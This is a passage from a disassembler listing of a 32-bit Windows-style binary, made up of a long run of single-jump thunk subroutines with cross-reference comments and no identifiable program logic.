					; ___:004305B1p ...
		jmp	sub_431470
sub_401762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401767	proc near		; CODE XREF: ___:0040AFF4p
		jmp	sub_4348A0
sub_401767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40176C	proc near		; CODE XREF: sub_418E80+5Fp
		jmp	sub_419110
sub_40176C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401771	proc near		; CODE XREF: ___:0041896Cp
		jmp	sub_418590
sub_401771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401776	proc near		; CODE XREF: ___:00416B1Bp
					; ___:00416DE3p ...
		jmp	sub_416DC0
sub_401776	endp

; ---------------------------------------------------------------------------
		jmp	loc_420EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401780	proc near		; CODE XREF: ___:00416EBFp
		jmp	sub_417E30
sub_401780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401785	proc near		; CODE XREF: sub_430B30+5Dp
					; sub_431B00+2Cp ...
		jmp	sub_4322D0
sub_401785	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F590

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178F	proc near		; CODE XREF: ___:00427370p
		jmp	sub_428880
sub_40178F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401794	proc near		; CODE XREF: ___:00426757p
		jmp	sub_426560
sub_401794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401799	proc near		; CODE XREF: ___:00416F9Ap
		jmp	sub_418360
sub_401799	endp

; ---------------------------------------------------------------------------
		jmp	loc_433200
; ---------------------------------------------------------------------------
		jmp	loc_4301A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A8	proc near		; CODE XREF: ___:004292B3p sub_429310j ...
		jmp	sub_4291E0
sub_4017A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017AD	proc near		; CODE XREF: ___:00416BCBp
					; ___:00416D93p ...
		jmp	sub_416D60
sub_4017AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B2	proc near		; DATA XREF: ___:off_43F17Co
		jmp	sub_42B3F0
sub_4017B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B7	proc near		; CODE XREF: sub_431240+D7p
		jmp	sub_432A20
sub_4017B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017BC	proc near		; CODE XREF: sub_40AF60+5j
					; ___:loc_4313CDp
		jmp	sub_432670
sub_4017BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_431420

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C6	proc near		; CODE XREF: sub_4266D0+10p
					; sub_4267D0+3Dp
		jmp	sub_4267A0
sub_4017C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017CB	proc near		; CODE XREF: sub_40AF80+5j
					; ___:loc_4313D5p ...
		jmp	sub_432690
sub_4017CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D0	proc near		; DATA XREF: ___:off_43F000o
		jmp	sub_404CC0
sub_4017D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D5	proc near		; CODE XREF: sub_4248E0+1Ep
					; sub_424920+A6p ...
		jmp	sub_424870
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DA	proc near		; CODE XREF: ___:00416B8Bp
					; ___:0043B234j ...
		jmp	sub_417A60
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DF	proc near		; CODE XREF: sub_416220+11p
					; ___:00416247p ...
		jmp	sub_4167F0
sub_4017DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E4	proc near		; CODE XREF: sub_415A10+3p
					; ___:0041626Fp ...
		jmp	sub_4164A0
sub_4017E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017E9	proc near		; CODE XREF: sub_415600+6Ap
					; sub_416030+32p
		jmp	sub_415F70
sub_4017E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017EE	proc near		; CODE XREF: sub_403530+DBp
					; sub_404010+3Fp ...
		jmp	sub_40A800
sub_4017EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017F3	proc near		; CODE XREF: ___:00421EAAp
		jmp	sub_422470
sub_4017F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017F8	proc near
		jmp	sub_40B2F0
sub_4017F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017FD	proc near		; CODE XREF: sub_4068E0+205p
		jmp	sub_41B920
sub_4017FD	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401807	proc near		; CODE XREF: ___:00427D03p
		jmp	sub_427D30
sub_401807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40180C	proc near		; CODE XREF: ___:00425F16p
					; ___:00425F47p
		jmp	sub_4257F0
sub_40180C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401811	proc near		; CODE XREF: sub_41E760+FFp
					; sub_41E760+179p ...
		jmp	sub_421B80
sub_401811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401816	proc near		; CODE XREF: sub_40A1F0+7p
		jmp	sub_40A210
sub_401816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40181B	proc near		; CODE XREF: sub_40B510+76p
		jmp	sub_40B470
sub_40181B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401820	proc near		; CODE XREF: ___:00423F8Dp
					; DATA XREF: ___:off_44541Co
		jmp	sub_425100
sub_401820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401825	proc near		; CODE XREF: sub_41E760+18Ep
					; ___:0043C483j
		jmp	sub_4219F0
sub_401825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182A	proc near		; DATA XREF: ___:off_43F10Co
		jmp	sub_428210
sub_40182A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182F	proc near		; CODE XREF: ___:00416EDFp
		jmp	sub_417EF0
sub_40182F	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401839	proc near		; CODE XREF: sub_41E760+3BCp
					; sub_4226B0+3p
		jmp	sub_421D50
sub_401839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40183E	proc near		; CODE XREF: sub_427990+90p
		jmp	sub_427C50
sub_40183E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401843	proc near		; CODE XREF: ___:0042444Dp
					; sub_424920+135p
		jmp	sub_424480
sub_401843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401848	proc near		; CODE XREF: sub_40BF20+3p
					; ___:0040BFEFp ...
		jmp	sub_40C160
sub_401848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40184D	proc near		; CODE XREF: sub_407140+36p
					; sub_407140+72p ...
		jmp	sub_407390
sub_40184D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401852	proc near		; CODE XREF: ___:00413251p
		jmp	sub_415770
sub_401852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401857	proc near		; CODE XREF: ___:0040BAB1p
					; ___:0040BB78p ...
		jmp	sub_412B70
sub_401857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40185C	proc near		; CODE XREF: ___:004332DFp
					; ___:004333EFp ...
		jmp	sub_432E20
sub_40185C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401861	proc near		; DATA XREF: ___:0043359Ao
					; ___:00433700o
		jmp	sub_432E90
sub_401861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401866	proc near		; CODE XREF: sub_416460+7p
		jmp	sub_416840
sub_401866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40186B	proc near		; CODE XREF: sub_418430+34p
		jmp	sub_404C70
sub_40186B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401870	proc near		; CODE XREF: sub_403530+7Ap
					; sub_403530+9Ep ...
		jmp	sub_409C20
sub_401870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401875	proc near		; CODE XREF: sub_420630+152p
		jmp	sub_4208A0
sub_401875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187A	proc near		; CODE XREF: ___:0041A328p
					; sub_41B110+3p ...
		jmp	sub_41B140
sub_40187A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B060
; ---------------------------------------------------------------------------
		jmp	loc_41C1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401889	proc near		; CODE XREF: ___:00416B4Bp
					; ___:0043B26Cj ...
		jmp	sub_416E10
sub_401889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40188E	proc near		; CODE XREF: sub_410030+217p
					; sub_41FE90+4Cp ...
		jmp	sub_41FE50
sub_40188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401893	proc near		; CODE XREF: sub_42AD90+9Dp
		jmp	sub_429450
sub_401893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401898	proc near		; CODE XREF: ___:0042D2F5p
		jmp	sub_4290B0
sub_401898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40189D	proc near		; DATA XREF: ___:0043F184o
		jmp	sub_42B440
sub_40189D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A2	proc near		; CODE XREF: sub_41B5B0+DDp
		jmp	sub_41AE30
sub_4018A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A7	proc near
		jmp	sub_4341C0
sub_4018A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018AC	proc near		; CODE XREF: ___:00414295p
					; sub_414E10+1B2p
		jmp	sub_413E70
sub_4018AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B1	proc near		; CODE XREF: sub_4120B0+1B6p
		jmp	sub_40A1F0
sub_4018B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B6	proc near		; CODE XREF: sub_41E760+5ABp
		jmp	sub_4204D0
sub_4018B6	endp

; ---------------------------------------------------------------------------
		jmp	loc_433000

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C0	proc near		; CODE XREF: sub_40A9F0+14p
		jmp	sub_40ACA0
sub_4018C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C5	proc near		; CODE XREF: sub_4135E0+B4p
					; ___:00414C60p ...
		jmp	sub_415710
sub_4018C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CA	proc near		; CODE XREF: sub_41A3B0+6Dp
					; sub_41A3B0+1B5p
		jmp	sub_41B060
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CF	proc near		; CODE XREF: ___:004323CAp
		jmp	sub_431D80
sub_4018CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D4	proc near		; CODE XREF: sub_418F90+5Fp
		jmp	sub_419130
sub_4018D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D9	proc near		; CODE XREF: ___:00416B9Bp
					; ___:0043B226j ...
		jmp	sub_4179F0
sub_4018D9	endp

; ---------------------------------------------------------------------------
		jmp	loc_419ED0
; ---------------------------------------------------------------------------
		jmp	sub_41A1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018E8	proc near		; CODE XREF: sub_41E760+46p
		jmp	sub_4219B0
sub_4018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018ED	proc near		; CODE XREF: ___:0042D425p
		jmp	sub_42ACB0
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018F2	proc near		; CODE XREF: sub_422230+7p
		jmp	sub_422620
sub_4018F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018F7	proc near		; CODE XREF: sub_4220B0+9p
					; sub_422510+18p
		jmp	sub_422690
sub_4018F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018FC	proc near		; CODE XREF: sub_4222B0+8p
		jmp	sub_422670
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401901	proc near		; CODE XREF: sub_4134A0+43p
					; sub_4148A0+4Fp ...
		jmp	sub_415820
sub_401901	endp

; ---------------------------------------------------------------------------
		jmp	loc_431D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40190B	proc near		; CODE XREF: sub_421AD0+1Fp
		jmp	sub_421E50
sub_40190B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401910	proc near		; CODE XREF: sub_4219B0+11p
					; sub_421E50+1Fp
		jmp	sub_421F80
sub_401910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401915	proc near		; CODE XREF: sub_40B470+6Dp
		jmp	sub_40BE70
sub_401915	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40191A	proc near		; CODE XREF: sub_409530+13p
		jmp	sub_409660
sub_40191A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4378B0
; ---------------------------------------------------------------------------
		jmp	sub_41B110
; ---------------------------------------------------------------------------


loc_401929:				; DATA XREF: ___:off_43F068o
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40192E	proc near		; CODE XREF: ___:00413C01p
		jmp	sub_413A80
sub_40192E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401933	proc near		; CODE XREF: ___:00413263p
					; sub_4132F0+32p
		jmp	sub_4155B0
sub_401933	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401938	proc near		; CODE XREF: ___:00416C4Bp
					; ___:0043B18Cj ...
		jmp	sub_417120
sub_401938	endp

; ---------------------------------------------------------------------------
		jmp	loc_432390
; ---------------------------------------------------------------------------
		jmp	loc_4347E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401947	proc near		; CODE XREF: sub_41C710+F1p
					; sub_41C710+270p ...
		jmp	sub_420F10
sub_401947	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A4E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401951	proc near		; CODE XREF: sub_404CC0+283p
					; sub_40EE40+D2p ...
		jmp	sub_40F060
sub_401951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401956	proc near		; CODE XREF: sub_4219F0+34p
					; sub_422340+67p
		jmp	sub_421FD0
sub_401956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40195B	proc near		; CODE XREF: sub_404CC0+BF1p
		jmp	sub_406730
sub_40195B	endp

; ---------------------------------------------------------------------------
		jmp	loc_433650
; ---------------------------------------------------------------------------


loc_401965:				; DATA XREF: sub_41FD00+39o
		jmp	loc_41FC30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196A	proc near		; CODE XREF: ___:0041A29Ep
					; sub_41A3B0+Bp ...
		jmp	sub_41A390
sub_40196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196F	proc near		; CODE XREF: ___:0041AC86p
					; ___:0041AD66p
		jmp	sub_41A990
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401974	proc near
		jmp	sub_419320
sub_401974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401979	proc near		; CODE XREF: sub_4119E0+2Ep
					; sub_411BE0+3p
		jmp	sub_411B20
sub_401979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40197E	proc near		; CODE XREF: sub_41E760+F5p
					; sub_41E760+16Fp ...
		jmp	sub_421AA0
sub_40197E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401983	proc near		; CODE XREF: sub_409530+4p
					; sub_4096E0+1Fp ...
		jmp	sub_4095E0
sub_401983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401988	proc near
		jmp	sub_409B10
sub_401988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40198D	proc near		; CODE XREF: sub_41F960+20p
					; sub_42AD90+37p
		jmp	sub_41FF50
sub_40198D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401992	proc near		; CODE XREF: sub_4135E0+4Ap
					; ___:00414C0Fp ...
		jmp	sub_415500
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401997	proc near		; CODE XREF: sub_40A510+A8p
		jmp	sub_40A930
sub_401997	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40199C	proc near		; CODE XREF: sub_40CC90+41p
		jmp	sub_40CF40
sub_40199C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A1	proc near		; CODE XREF: ___:004346F5p
					; ___:004347F5p
		jmp	sub_434450
sub_4019A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A6	proc near		; CODE XREF: sub_4219F0+29p
		jmp	sub_421EF0
sub_4019A6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FFE0
; ---------------------------------------------------------------------------
		jmp	loc_42FFB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019B5	proc near		; CODE XREF: sub_40A870+Dp
					; sub_40AAD0+91p
		jmp	sub_40A9F0
sub_4019B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BA	proc near		; CODE XREF: sub_422150+23p
					; sub_422510+11p
		jmp	sub_4226B0
sub_4019BA	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AC20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C4	proc near		; CODE XREF: sub_404010+2Cp
					; ___:0040408Fp ...
		jmp	sub_403530
sub_4019C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C9	proc near		; CODE XREF: sub_422850+6p
		jmp	sub_4228C0
sub_4019C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019CE	proc near		; DATA XREF: ___:off_43F050o
		jmp	sub_416D30
sub_4019CE	endp

; ---------------------------------------------------------------------------
		jmp	sub_40FE40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019D8	proc near		; CODE XREF: sub_407460+4p
		jmp	sub_407590
sub_4019D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019DD	proc near		; CODE XREF: ___:0040B709p
					; ___:0040BB26p ...
		jmp	sub_40B600
sub_4019DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019E2	proc near		; CODE XREF: sub_410030+AF4p
					; sub_410030+E6Ap
		jmp	sub_411BE0
sub_4019E2	endp

; ---------------------------------------------------------------------------
		jmp	loc_433C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019EC	proc near		; CODE XREF: sub_4145A0+CEp
		jmp	sub_414710
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019F1	proc near		; DATA XREF: ___:0043F1C8o
		jmp	sub_42CB70
sub_4019F1	endp

; ---------------------------------------------------------------------------


loc_4019F6:				; DATA XREF: ___:off_43F0D0o
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019FB	proc near		; CODE XREF: sub_421B10+3p
		jmp	sub_422030
sub_4019FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A00	proc near		; CODE XREF: ___:00416E8Fp
		jmp	sub_40B190
sub_401A00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A05	proc near
		jmp	sub_4133B0
sub_401A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A0A	proc near		; CODE XREF: sub_41E760+477p
		jmp	sub_4201F0
sub_401A0A	endp

; ---------------------------------------------------------------------------
		jmp	loc_421950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A14	proc near		; DATA XREF: ___:0043F124o
		jmp	sub_428940
sub_401A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A19	proc near
		jmp	sub_411C10
sub_401A19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A1E	proc near		; CODE XREF: sub_4344C0+92p
		jmp	sub_431C30
sub_401A1E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4292B0
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A2D	proc near		; CODE XREF: sub_421EF0+32p
		jmp	sub_422340
sub_401A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A32	proc near		; CODE XREF: ___:00416BDBp
					; sub_416D30+3p ...
		jmp	sub_416D00
sub_401A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A37	proc near		; CODE XREF: ___:00423B04p
					; ___:004285E8p ...
		jmp	sub_420E00
sub_401A37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A3C	proc near		; CODE XREF: sub_422310+Ap
		jmp	sub_422720
sub_401A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A41	proc near		; CODE XREF: ___:00412F9Fp
					; ___:00413054p ...
		jmp	sub_404690
sub_401A41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A46	proc near		; CODE XREF: sub_409530+1Ap
					; sub_409610+4p ...
		jmp	sub_4095A0
sub_401A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A4B	proc near		; DATA XREF: ___:off_43F028o
		jmp	sub_40FE40
sub_401A4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A50	proc near		; DATA XREF: ___:0043F0E4o
		jmp	sub_427990
sub_401A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A55	proc near		; CODE XREF: ___:00426475p
		jmp	sub_426070
sub_401A55	endp

; ---------------------------------------------------------------------------
		jmp	loc_409E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5F	proc near		; CODE XREF: sub_415BA0+1Ep
		jmp	sub_416650
sub_401A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A64	proc near		; CODE XREF: ___:004305E0p
					; sub_4321F0+36p ...
		jmp	sub_431630
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A69	proc near		; CODE XREF: sub_4138B0+3Ep
		jmp	sub_434BF0
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A6E	proc near		; CODE XREF: sub_414A70+3p
		jmp	sub_414AA0
sub_401A6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A73	proc near		; CODE XREF: ___:0040829Bp
					; ___:0040872Cp
		jmp	sub_409570
sub_401A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A78	proc near		; DATA XREF: ___:0043F0E0o
					; ___:0043F0F0o ...
		jmp	sub_4276C0
sub_401A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A7D	proc near		; CODE XREF: sub_41D930+1ADp
		jmp	sub_42DB00
sub_401A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A82	proc near		; CODE XREF: sub_420630+191p
					; sub_4228C0+3p ...
		jmp	sub_4208C0
sub_401A82	endp

; ---------------------------------------------------------------------------
		jmp	loc_4302E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A8C	proc near		; CODE XREF: sub_4226E0+5p
		jmp	sub_422850
sub_401A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A91	proc near		; CODE XREF: ___:00416F4Ap
		jmp	sub_418200
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A96	proc near		; CODE XREF: sub_407270+5p
					; sub_407360+6p ...
		jmp	sub_4074B0
sub_401A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A9B	proc near		; CODE XREF: sub_403530+90p
					; sub_404CC0+40Cp ...
		jmp	sub_40A780
sub_401A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA0	proc near		; CODE XREF: sub_41D930+2FFp
					; sub_41F030+52Fp
		jmp	sub_41FE90
sub_401AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA5	proc near		; CODE XREF: ___:004330BAp
		jmp	sub_430B30
sub_401AA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AAA	proc near		; CODE XREF: sub_415570+1Fp
		jmp	sub_415ED0
sub_401AAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AAF	proc near		; CODE XREF: sub_403530+E5p
					; sub_409F50+Fp ...
		jmp	sub_409E80
sub_401AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB4	proc near		; CODE XREF: sub_432850+17p
					; sub_432850+33p
		jmp	sub_434A00
sub_401AB4	endp

; ---------------------------------------------------------------------------
		jmp	loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AC8	proc near		; CODE XREF: sub_424F70+E5p
					; sub_424F70+120p
		jmp	sub_424E20
sub_401AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ACD	proc near		; DATA XREF: ___:off_43F034o
		jmp	sub_4120B0
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD2	proc near		; DATA XREF: ___:0041FC33o
		jmp	sub_41FB90
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD7	proc near		; CODE XREF: sub_407140+Bp
		jmp	sub_407320
sub_401AD7	endp

; ---------------------------------------------------------------------------
		jmp	loc_433E90
; ---------------------------------------------------------------------------


loc_401AE1:				; DATA XREF: ___:off_43F020o
		jmp	loc_40B9B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AE6	proc near		; CODE XREF: sub_403F30+2Bp
					; sub_403F30+3Bp ...
		jmp	sub_403D60
sub_401AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AEB	proc near		; CODE XREF: sub_4135E0+66p
					; sub_4135E0+CAp ...
		jmp	sub_415740
sub_401AEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AF5	proc near
		jmp	sub_4228F0
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AFA	proc near		; CODE XREF: ___:00416C2Bp
					; ___:0043B1A8j ...
		jmp	sub_40B250
sub_401AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AFF	proc near		; CODE XREF: ___:00421864p
					; ___:0042189Ep
		jmp	sub_4216D0
sub_401AFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B04	proc near		; CODE XREF: sub_404C30+15p
		jmp	sub_407140
sub_401B04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B09	proc near		; DATA XREF: ___:off_43F0BCo
		jmp	sub_41A1E0
sub_401B09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B0E	proc near		; CODE XREF: ___:0041700Fp
		jmp	sub_418A00
sub_401B0E	endp

; ---------------------------------------------------------------------------


loc_401B13:				; CODE XREF: ___:00439F76j
		jmp	loc_40CBD0
; ---------------------------------------------------------------------------


loc_401B18:				; DATA XREF: ___:off_43F16Co
		jmp	loc_42B060

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B1D	proc near		; CODE XREF: sub_4170B0+28p
		jmp	sub_418990
sub_401B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B22	proc near		; CODE XREF: ___:00432CD7p
		jmp	sub_432D10
sub_401B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk
